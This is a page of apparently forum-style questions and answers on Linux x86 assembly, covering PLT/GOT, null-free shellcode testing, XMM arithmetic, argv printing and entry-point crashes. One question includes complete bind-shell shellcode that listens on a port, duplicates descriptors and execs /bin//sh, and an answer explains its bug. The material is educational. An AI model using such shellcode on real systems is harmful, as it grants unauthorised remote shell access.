PLT GOT: How "jmp DWORD PTR [ebx+0xc]" takes control to GOT? - linux

For puts#plt, control should go from main to PLT to GOT. Control is going to PLT but from PLT how "jmp DWORD PTR [ebx+0xc]" takes control to GOT? In GDB, ebx=0, so ebx+0xc=0xc, which is weird. Where am I missing the flow?
└─# cat main.c
#include <stdio.h>
int main() {
printf ("Hello World!\n");
return 0;
}
└─# gcc -m32 -g main.c -o main
└─# objdump -Mintel -d --no-show-raw-insn main
main: file format elf32-i386
:::
0000119d <main>:
119d: lea ecx,[esp+0x4]
11a1: and esp,0xfffffff0
11a4: push DWORD PTR [ecx-0x4]
11a7: push ebp
11a8: mov ebp,esp
11aa: push ebx
11ab: push ecx
11ac: call 11d9 <__x86.get_pc_thunk.ax>
11b1: add eax,0x2e4f
11b6: sub esp,0xc
11b9: lea edx,[eax-0x1ff8]
11bf: push edx
11c0: mov ebx,eax
11c2: call 1030 <puts#plt> <-- go to addr 1030 (supposed to be in PLT)
11c7: add esp,0x10
11ca: mov eax,0x0
11cf: lea esp,[ebp-0x8]
11d2: pop ecx
11d3: pop ebx
11d4: pop ebp
11d5: lea esp,[ecx-0x4]
11d8: ret
└─# objdump -Mintel -D -j main -j .plt -j .got.plt --no-show-raw-insn main
main: file format elf32-i386
Disassembly of section .plt:
00001020 <puts#plt-0x10>:
1020: push DWORD PTR [ebx+0x4]
1026: jmp DWORD PTR [ebx+0x8]
102c: add BYTE PTR [eax],al
...
00001030 <puts#plt>:
1030: jmp DWORD PTR [ebx+0xc] <-- Go to ebx+0xc = 0xc (in gdb, ebx=0) !!
1036: push 0x0 (it should have gone to GOT)
103b: jmp 1020 <_init+0x20>
00001040 <__libc_start_main#plt>:
1040: jmp DWORD PTR [ebx+0x10]
1046: push 0x8
104b: jmp 1020 <_init+0x20>
Disassembly of section .got.plt:
00004000 <_GLOBAL_OFFSET_TABLE_>:
4000: cld
4001: add BYTE PTR ds:[eax],al
...
400c: adc BYTE PTR ss:[eax],al
400f: add BYTE PTR [esi+0x10],al
...

Related

shellcode error Segmentation fault (core dumped)

im new at shellcoding i try to write a shellcode for ( hello world ) so this is my first code with nulled bytes :
global _start
section .text
_start: ;tell linker entry point
mov edx,len ;message length
mov ecx,msg ;message to write
mov ebx,1 ;file descriptor (stdout)
mov eax,4 ;system call number (sys_write)
int 0x80 ;call kernel
mov eax,1 ;system call number (sys_exit)
int 0x80 ;call kernel
section .data
msg db 'Hello, world!',0xa ;our dear string
len equ $ - msg ;length of our dear string
and this is my second code after i remove null x00 !!
global _start
section .text
_start:
;tell linker entry point
xor edx,edx
mov dl,len ;message length
mov ecx,msg ;message to write
xor ebx,ebx
mov bl,1 ;file descriptor (stdout)
xor eax,eax
mov al,4 ;system call number (sys_write)
int 0x80 ;call kernel
xor eax,eax
mov al,1 ;system call number (sys_exit)
int 0x80 ;call kernel
section .data
msg db 'Hello, world!',0xa ;our dear string
len equ $ - msg ;length of our dear string
i compile it to test by :
nasm -f elf32 -o hello-without-null.o hello-without-null.asm
ld -o hello-without-null hello-without-null.o
its work when i run it ./hello-without-null
than i used : objdump -d hello-without-null -M intel
and this is the result :
Disassembly of section .text:
08048080 <_start>:
8048080: 31 d2 xor edx,edx
8048082: b2 0e mov dl,0xe
8048084: b9 9c 90 04 08 mov ecx,0x804909c
8048089: 31 db xor ebx,ebx
804808b: b3 01 mov bl,0x1
804808d: 31 c0 xor eax,eax
804808f: b0 04 mov al,0x4
8048091: cd 80 int 0x80
8048093: 31 c0 xor eax,eax
8048095: b0 01 mov al,0x1
8048097: cd 80 int 0x80
then i convert it to shellcode by :
objdump -d ./hello-without-null|grep '[0-9a-f]:'|grep -v 'file'|cut
-f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
the output is :
"\x31\xd2\xb2\x0e\xb9\x9c\x90\x04\x08\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
when i test it i got this error :
Shellcode Length: 25 Segmentation fault (core dumped)
my c code for testing :
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xd2\xb2\x0e\xb9\x9c\x90\x04\x08\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
so what is the problem ?? and how i can solve it ?
i solve it by changing
char shellcode[]
to
const char shellcode[]
and using using the JMP/CALL/POP method

Sum using XMM registers using FASM under Linux OS

Sum using xmm regsisters using fasm - linux:
$./fasm file.asm
$ gcc -s file.o -o file -lm
The result should be 14 , but I got 7.000000000000000000000000000000.
This is the source code:
format elf64
extrn printf
section '.data' writeable align 16
rad dq 7.0
fmt db "%.30lf",0ah,0
section '.text' executable align 16
public main
main:
push rbp
mov rbp,rsp
pxor xmm0,xmm0
movsd xmm0,[rad]
pxor xmm2,xmm2
movsd xmm2,[rad]
addsd xmm2,xmm0
mov rax,1
mov rdi,fmt
call printf
mov rsp,rbp
pop rbp
ret
Solve it :
format elf64
extrn printf
section '.data' writeable align 16
rad dq 7.0
fmt db "%.30lf",0ah,0
section '.text' executable align 16
public main
main:
push rbp
mov rbp,rsp
pxor xmm0,xmm0
movsd xmm0,[rad]
movsd xmm2,[rad]
addsd xmm0,xmm2
mov rax,1
mov rdi,fmt
call printf
mov rsp,rbp
pop rbp
ret

Printing `argv[]` with nasm

I'm trying to print the command line arguments given to my program, using nasm:
GLOBAL main
EXTERN printf
section .rodata
fmt db "Argument: %s", 10, 0
section .text
main:
push ebp ; push ebp0
mov ebp, esp ; [ebp1] == ebp0
push dword[ebp+8] ; push argc
call print_args
mov eax, 0 ; return(0)
mov esp, ebp ; pop
pop ebp ; stack frame
ret
print_args:
push ebp ; pusheo ebp1
mov ebp, esp ; [ebp2] == ebp1
mov edi, dword[ebp+8] ; [ebp+8] == argc
jmp lop
postlop:
mov esp, ebp
pop ebp
ret
lop:
sub edi, 1
cmp edi, 0
jz postlop
mov esi, [ebp] ; [esi] == ebp1
mov ebx, [esi + 12] ; [esi+12] = [ebp1+12] = argv[0]?
push ebx
push fmt
call printf
jmp lop
However, this prints only garbage (I believe this should print argv[0], argc-1 times.).
I'm compiling my code with:
nasm -f elf32 main.asm
gcc -m32 main.o -o main.out
What is wrong?
By the way, using dword[ebp+8] works correctly to pick up argc.
I'm running this on ubuntu. Program does output Argument: ... argc-1 times, but the ... is garbage.
Just like [epb+8]is argc, [esi + 12] is argv, i.e. the address of the array of argument adresses. Thus, in order to find argv[0], you have to dereference once more.
mov esi, [ebp] ; [esi] == ebp1
mov ebx, [esi + 12] ; [esi+12] = [ebp1+12] = argv
push dword [ebx] ; [ebx] = argv[0]
;^^^^^^^^^^^
push fmt
call printf
I worked on this and this is all you need
Assemble as so. On my 32-bit debian 9 VM:
$ nasm -felf32 -g args.s -o args.o
$ gcc -no-pie args.o -o args
segment .data
format db "%s",0x0a,0
segment .text
global main ; let the linker know about main
extern printf ; resolve printf from libc
main:
push ebp ; prepare stack frame for main
mov ebp, esp
sub esp, 8
mov edi, dword[ebp+8] ; get argc into edi
mov esi, dword[ebp+12] ; get first argv string into esi
start_loop:
xor eax, eax
push dword [esi] ; must dereference esi; points to argv
push format
call printf
add esi, 4 ; advance to the next pointer in argv
dec edi ; decrement edi from argc to 0
cmp edi, 0 ; when it hits 0, we're done
jnz start_loop ; end with NULL pointer
end_loop:
xor eax, eax
leave
ret

segmentation fault in port-binding shellcode

I am trying to open a listener using shellcode but i get segmentation error , i read that this error is due to writing into read only location in memory , and that -N option in the ld linker will solve it out which did not work for me.
the code :
BITS 32
global _start
_start:
xor eax,eax
xor ebx,ebx
cdq
push eax
push byte 0x01
push byte 0x02
mov ecx,esp
inc bl
mov al,102
int 80h
mov esi,eax
push edx
push 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
push edx
push esi
mov ecx,esp
mov byte bl,0x04
mov al,102
int 80h
push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
mov ebx,esp
xor ecx,ecx
mov cl,3
loop:
dec cl
mov al,63
int 80h
jnz loop
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 80h
i then run the following commands:
nasm -f elf file.asm
ld -N file.o -o file
when i run file i get segmentation error, please help .
Learn to use a debugger and comment your code. That said, the problem seems to be with the dup2 syscall getting bad argument, because esp that gets loaded into ebx is unlikely to be a valid descriptor. This results in an error return, which then screws up all further syscalls.

Why my code will crash at the end of the start function?

Test platform is 32 bit Linux.
Basically, I did a modification to the asm code gcc generated to change the entry point from main to start as below:
asm code:
.file "test.c"
.intel_syntax noprefix
.section .rodata
.LC0:
.string "%d\n"
.text
.globl start
.type start, #function
start:
push ebp
mov ebp, esp
call main
mov eax, 0
leave
ret
.size start, .-start
.globl main
.type main, #function
main:
push ebp
mov ebp, esp
and esp, -16
sub esp, 32
mov DWORD PTR [esp+28], 1
mov eax, OFFSET FLAT:.LC0
mov edx, DWORD PTR [esp+28]
mov DWORD PTR [esp+4], edx
mov DWORD PTR [esp], eax
call printf
mov eax, 0
Then I use these to compile and link:
as test.s -g -o test.o
ld -o test test.o -lc -dynamic-linker /lib/ld-linux.so.2 -e start
When debug using gdb, it can successfully work until the end of start function,
then from the debug info it seems that $EIP don't know where to jump next, and
segment fault occurs...
Could anyone give me some help on this issue..?
Thank you a lot!
you should call exit instead of set eax to 0 and return, because you don't use C main function(C-runtime), so nowhere to return.

Resources